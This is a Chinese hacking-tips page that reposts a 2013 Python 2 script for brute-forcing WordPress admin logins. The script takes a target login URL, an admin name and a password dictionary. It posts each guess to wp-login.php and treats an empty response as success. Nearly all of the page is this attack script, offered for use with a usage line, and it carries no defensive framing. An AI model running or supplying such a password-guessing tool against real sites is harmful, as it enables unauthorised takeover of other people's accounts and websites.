记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

python暴力破解wordpress后台

2013-05-31 11:00

#!/usr/bin/env python
#Coding = UTF-8
#wordpress后台暴力破解(python)
#python wordpress_bruteforce.py http://xxxx.com/wp-login.php xxxx dic.txt
import urllib, time, sys

start = time.time()
errors = []
def exploit(url, name, dictionary):
for line in open(dictionary):
lineline = line.strip()
try:
data = urllib.urlencode({'log':name,'pwd':line,'redirect_to':''})
content = urllib.urlopen(url, data)
if content.read() == '':
print "Password is : %s" % line
print time.time() - start
sys.exit()
else:
print "try %s failed" % line
except IOError:
errors.append(line)
print "try %s occurs IOERROR, add to list and retry it later" % line

if __name__ == "__main__":
if len(sys.argv) < 4:
print 'Usage: Url AdminName Dictionary'
sys.exit(1)
exploit(sys.argv[1], sys.argv[2], sys.argv[3])
while errors:
for i,line in enumerate(errors):
try:
data = urllib.urlencode({'log':sys.argv[2],'pwd':line,'redirect_to':''})
content = urllib.urlopen(sys.argv[1], data)
if content.read() == '':
print "Password is : %s" % line
print time.time() - start
sys.exit()
else:
print "try %s failed" % line
del errors[i]
except IOError:
errors.append(line)
print "try %s occurs IOERROR, add to list and retry it later" % line
print time.time() - start

 

知识来源: www.2cto.com/Article/201305/215949.html

阅读:196171 | 评论:0 | 标签:暴力破解

想收藏或者和大家分享这篇好文章→复制链接地址

“python暴力破解wordpress后台”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云